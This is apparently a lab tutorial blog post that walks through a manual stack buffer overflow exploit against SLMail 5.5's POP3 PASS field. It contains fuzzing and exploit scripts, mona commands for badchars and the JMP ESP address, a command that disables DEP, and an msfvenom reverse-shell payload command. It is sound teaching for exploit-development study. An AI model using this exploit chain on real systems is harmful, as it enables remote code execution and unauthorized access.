In this post, we are going to exploit the SLMail service version 5.5 which is vulnerable to a Buffer Overflow in the PASS field:

Although there are already scripts that automate the exploitation, we are going to do it manually.
First of all, it is recommended to have read the post on Fundamentals for Stack Based Buffer Overflow if you have never executed this type of attack.
We will be working with our Kali and a 32-bit Windows 7.
- Introduction
- Fuzzing
- Taking control of the EIP
- Finding badchars
- Create payload with msfvenom
- Finding address with JMP ESP opcode
- Final exploit
Introduction
The first thing is to download and install the “SLMail” service on Windows 7. Before this, we have to make sure that our Windows 7 has DEP disabled and that the firewall does not block us, at least ports 25 and 110.
- We can configure the firewall using “Windows Firewall with Advanced Security” or netsh. For the latter, we can see how to do it in the netsh pivoting post.
- And we can disable DEP (Data Execution Prevention) from a terminal as administrator using the command:
bcdedit.exe /set nx AlwaysOff
We can download SLMail 5.5 from its official website. Once we download it, we start the installation process:

In this case, you don’t need to change anything, just click “Next” all the way through is enough. When the installation is complete, we will restart the computer and that’s it. We will have SLMail installed.
When the computer starts up, we open SLMail as administrator:

And we go to the control tab:

From this section is where we can control whether the service is paused or started. It will be useful for us when it crashes due to the buffer overflow. As we can see, it is now started, so if we go to our Kali, we can see ports 25 and 110 open:

With all the service installed, running and exposed, we can now get started with the buffer overflow.
In this particular case, we have already identified and know in advance that the service is vulnerable. In addition, we have seen in searchsploit that there are already scripts that exploit it automatically. So we are going to use one of these scripts to help us identify the way.
In any other case, when we don’t know what service it is and we know almost nothing, the best option is simply to connect to the port via netcat or telnet and see if it responds in some way, and from there, see what can be done.
That said, let’s take a look at the first script from searchsploit:

The title already tells us that the vulnerable parameter seems to be PASS
Taking a look at the first script, we see how the procedure would be:

The PASS parameter seems to be the password field of a login. Also, if we notice, we see that of the two ports that SLMail uses, 25 and 110, it connects to 110, so we also identify which of the two ports to connect to.
Let’s try it manually:

It seems that both fields are valid, although they tell us that the credentials are incorrect.
At this point we already have what we need to start:
- Vulnerable service detected
- Port to connect to
- Vulnerable parameter
Fuzzing
Knowing all this, it is time to do Fuzzing, that is, we have to find out what amount of information is needed in the PASS parameter for the Buffer Overflow to occur and the program to crash.
Before fuzzing, on Windows 7 we are going to open Immunity Debugger as administrator to attach to the SLMail process:


This way we will have attached Immunity Debugger to the SLMail process:

Note that when we attach with Immunity to a process, it pauses. We can see it at the bottom right:

So let’s never forget to resume the process:


With this done, now to do fuzzing we are going to make use of a python script, which automates the task:
#!/usr/bin/python
from pwn import *
import socket, sys
if len(sys.argv) < 2:
print "\n[!] Usage: python " + sys.argv[0] + " <ip-address>\n"
sys.exit(0)
# Global variables
ip_address = sys.argv[1]
rport = 9999
if __name__ == '__main__':
buffer = ["A"]
counter = 100
while len(buffer) < 32:
buffer.append("A"*counter)
counter += 100
p1 = log.progress("Data")
for strings in buffer:
try:
p1.status("Sending %s bytes" % len(strings))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, rport))
data = s.recv(1024)
s.send("%s" % strings)
data = s.recv(1024)
except:
print "\n[!] There was a connection error\n"
sys.exit(1)
This is the standard script, we just have to adapt it to suit the case we need:
#!/usr/bin/python
from pwn import *
import socket, sys
if len(sys.argv) < 2:
print "\n[!] Usage: python " + sys.argv[0] + " <ip-address>\n"
sys.exit(0)
# Global variables
ip_address = sys.argv[1]
rport = <port>
if __name__ == '__main__':
buffer = ["A"]
counter = 150
while len(buffer) < 32:
buffer.append("A"*counter)
counter += 150
p1 = log.progress("Data")
for strings in buffer:
try:
p1.status("Sending %s bytes" % len(strings))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, rport))
data = s.recv(1024)
s.send("USER test\n\r")
data = s.recv(1024)
s.send("PASS %s\n\r" % strings)
data = s.recv(1024)
except:
print "\n[!] There was a connection error\n"
sys.exit(1)
When we send the USER and the PASS, placing
\n\rat the end, we are simulating that we press the enter key
The use of the script is simple, we just have to specify an IP, in addition to editing the port in the code:


With the port changed, we are going to execute the script pointing to Windows 7:



When the number of bytes gets stuck, we go back to immunity debugger (or we can also see how immunity behaves while receiving the bytes):



As we can see, the program status is “Paused”, so the program has crashed. In addition, we can see how the registers have been left.
If we look at the EBP and EIP fields, we see how the value of the 4 bytes is \x41 (this is the format to represent hexadecimal, with \x as prefix).

For those who don’t know, 41 is the letter A in hexadecimal, which is exactly what we are sending.


What does this mean?
Basically, let’s imagine that the service at most expected in the “PASS” field, a maximum value of 30 characters (which is not the case, it is quite more).
What would happen if we send 60 characters?
It happens then that the memory that the program has reserved for that field is much less than the received data, so that difference of 30 (60 - 30) has to go somewhere. And this is where overwriting registers begins.
The idea is basically this:

Having this clear, and seeing how we have overwritten the EIP and the EBP, the idea now is to take control of the EIP, that is, to determine exactly how many ‘A’ we have to send before starting to overwrite it.
This register is so important to us, since it is the address of the next instruction of the program, that’s why it’s called EIP (Extended Instruction Pointer).
For this same reason the program crashes, since by overwriting this register, when the program is going to continue its flow, what it does is see what address the EIP points to, and of course, if the address it points to is 0x41414141, well it doesn’t get anywhere, since it is not a valid memory address. That’s why the program crashes.
Taking control of the EIP
With all this clear, to determine the offset of the EIP, or in other words, how many ‘A’ are needed to overwrite it, we are going to make use of two metasploit tools (in an exam like the OSCP it is totally valid to use these two tools):
pattern_create.rbpattern_offset.rb
Making sure we have metasploit installed, we can find these two tools as follows:

First we are going to use pattern_create.rb. What this tool allows us to do is create a string of the length we indicate. This string is specially designed so that there are no repeated patterns.
Before, we verified that with 2700 bytes we already managed to not only crash the program, but also overwrite the registers. So now we are going to change the script a bit to directly send only one payload. The model of the script to use would be the following:
#!/usr/bin/python
from pwn import *
import socket, sys
from struct import pack
if len(sys.argv) < 2:
print "\n[!] Usage: python " + sys.argv[0] + " <ip-address>\n"
sys.exit(0)
# Global variables
ip_address = sys.argv[1]
rport = 9999
shellcode_windows=()
shellcode_linux=()
if __name__ == '__main__':
p1 = log.progress("Data")
payload = <payload>
try:
p1.status("Sending payload")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, rport))
data = s.recv(1024)
s.send(payload + '\r\n')
data = s.recv(1024)
except:
print "\n[!] There was a connection error\n"
sys.exit(1)
Again, we simply copy it and adapt it to what we need:
#!/usr/bin/python
from pwn import *
import socket, sys
from struct import pack
if len(sys.argv) < 2:
print "\n[!] Usage: python " + sys.argv[0] + " <ip-address>\n"
sys.exit(0)
# Global variables
ip_address = sys.argv[1]
rport = 110
shellcode_windows=()
shellcode_linux=()
if __name__ == '__main__':
p1 = log.progress("Data")
payload = <payload>
try:
p1.status("Sending payload")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, rport))
data = s.recv(1024)
s.send('USER test\r\n')
data = s.recv(1024)
s.send('PASS ' + payload + '\r\n')
data = s.recv(1024)
except:
print "\n[!] There was a connection error\n"
sys.exit(1)
With this, we are now going to generate a 2700 byte string with pattern_create.rb:
pattern_create.rb -l <string length>

We copy this output and attach it to the payload variable of the script:

This way, we are going to execute the script so that it directly sends this payload to the PASS field.
Every time we cause a buffer overflow and the program crashes, we have to restart the service and attach ourselves with immunity debugger to it again, since when restarting the service the process changes.
We execute the exploit:

In immunity we can see how the program crashes:

With this done, the idea now is to look at the value of the EIP register:

It is 39694438. This value corresponds to a specific part of the string we sent in the payload.
Taking this number into account, we are going to use pattern_offset.rb:
pattern_offset.rb -q <EIP value>

Note, it tells us that the offset is 2606, that is, if we send 2606 A and 4 B, the value of the EIP should be 42424242 (since 42 is B in hexadecimal).
Let’s check it:

We restart the service
We attach with Immunity Debugger
We execute the exploit:


As we can see, EIP is worth the 4 B that we sent. It is at this point when it is said that we have control of the EIP.
Finding badchars
Now, it is time to find out the “badchars”. Badchars are bytes that, so to speak, the program does not accept. In such a way that if we generated a payload with any badchar, it would not work.
For this step, we are going to make use of mona, an Immunity Debugger module that will make the task easier.
Its installation is quite simple, we download the mona.py script from its official repository. We move this script to the following path:
C:\Archivos de programa\Immunity Inc\Immunity Debugger\PyCommands
C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands
And this way it will have been installed. We can check it in Immunity Debugger with !mona:

Done this, we are going to configure the workspace with the command:
!mona config -set workingfolder <path>\%p

Now, we are going to generate a byte array as follows:
!mona bytearray

This generates a string with all possible bytes. It will help us determine which are badchars and which are not.
In addition, with this command, since we have previously configured the workspace, now a folder will have been generated with the name of the process to which we are attached:

Inside, we can find a txt with the byte string:


We copy the string and add it to the payload.

With this, we do the usual, restart the service, attach with Immunity and execute the exploit:


Now we are interested in the value of the ESP. Using this value, mona will automate the task of detecting badchars.
We will use the following command:
!mona compare -f <specify the path of bytearray.bin> -a <ESP address>
!mona compare -f C:\Users\JuanA\Desktop\SLMail\bytearray.bin -a 0258A128

In this way, as we can see, mona tells us that a badchar is \x00 (this is a very typical badchar, so it is normally removed immediately)
With this done, we are going to update the bytearray files we have, to tell them to remove \x00:
!mona bytearray -cpb '"<badchars>"'
!mona bytearray -cpb '"\x00"'

In this way, the bytearray file will have been updated.

Since we already know that \x00 is a badchar, we will simply remove it from the payload in the exploit:

We execute the exploit…

And now we do the same process to detect the badchar:
!mona compare -f <specify the path of bytearray.bin> -a <ESP address>
!mona compare -f C:\Users\JuanA\Desktop\SLMail\bytearray.bin -a 01ADA128

It detects that \x0a is another. Well, we do the same as before:
!mona bytearray -cpb '"<badchars>"'
!mona bytearray -cpb '"\x00\x0a"'

We check that it has been removed:

And with this, the same as before, now we remove \x0a from the payload.

And we repeat the whole process again. This part is a bit repetitive.


!mona compare -f <specify the path of bytearray.bin> -a <ESP address>
!mona compare -f C:\Users\JuanA\Desktop\SLMail\bytearray.bin -a 026EA128

We detect another badchar, this time \x0d. Well, we do the same:
!mona bytearray -cpb '"<badchars>"'
!mona bytearray -cpb '"\x00\x0a\x0d"'

And well the same, we now remove \x0d from the exploit and repeat everything, until it tells us that it doesn’t find any:

So we have already discovered all the badchars, in this case they are:
\x00\x0a\x0d
Create payload with msfvenom
Knowing this, we are going to create the reverse shell payload with msfvenom (we can use any other payload, for example, the one to execute a specific command in Windows):
msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> EXITFUNC=thread -a x86 --platform windows -b <badchars> -e x86/shikata_ga_nai -f c
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.208.10 LPORT=443 EXITFUNC=thread -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -f c

We use EXITFUNC=thread because otherwise when we manage to exploit the buffer overflow and have a shell, if we were to lose it for whatever reason and wanted to get another one we couldn’t, because the process will have already been killed. This way we can send ourselves as many shells as we want, since the shell processes are executed as threads and do not replace the main service process
We copy the shellcode generated by msfvenom and add it to the exploit:


Finding address with JMP ESP opcode
With this part done, only one last step is missing. We have to get the EIP to point to the ESP, that is, to our payload, since right now it is pointing to the address of 4 B.
For this, we have to make the EIP point to a “JMP ESP” address, an address which makes an automatic jump to where the ESP is located.
To do this, we are going to use the metasploit tool nasm_shell.rb and mona.
Nasm_shell.rb does the following:

In this way, we are going to see the opcode associated with JMP ESP:

opcode

Knowing that the opcode is FFE4, we are going to go to mona and we are going to list the process modules:
!mona modules

Listing the modules, we have to use one that has the first four columns of True and False, in False (since this BoF does not have any protection). In my case I am going to use the following module:

With this, now we are going to use mona to search for an address within that module whose opcode is a JMP ESP:
!mona find -s '"<JMP ESP opcode>"' -m <module>
!mona find -s '"\xff\xe4"' -m SLMFC.dll

Mona gives us a series of addresses, we can choose any. The only requirement is that this address does not contain any badchar.
In my case, I am going to choose, for example, the last one, 0x5f4c4d13.
Let’s verify that this address is indeed a JMP ESP.
Right click and we copy the address:

We go to the following button:

We paste the address and click OK. This way it will take us to the address we have specified:

And indeed, we confirm that it is a JMP ESP.
In case that when doing this it takes us to an address that has nothing to do with the one we have put, we simply search again and that’s it.
Final exploit
We already have everything to successfully exploit the buffer overflow. We are going to go to exploit.py to make the last touches:

We are going to replace the 4 B with the JMP ESP address in Little Endian:

In this case we use the struct library to automatically make the change to “Little Endian”. It would also be valid if we did it manually.
In addition, to make sure that everything goes correctly, we are going to add NOPS between the JMP ESP and the shellcode (we could also cause a stack shift if we did not want to use NOPS):

If you don’t know what NOPS are, you can see it in the post on Fundamentals for Stack Based Buffer Overflow.
In this way, everything is ready. If we listen on the port we specified earlier in msfvenom and execute the exploit:

We manage to control the flow of the program making it go to our payload and execute a shell for us.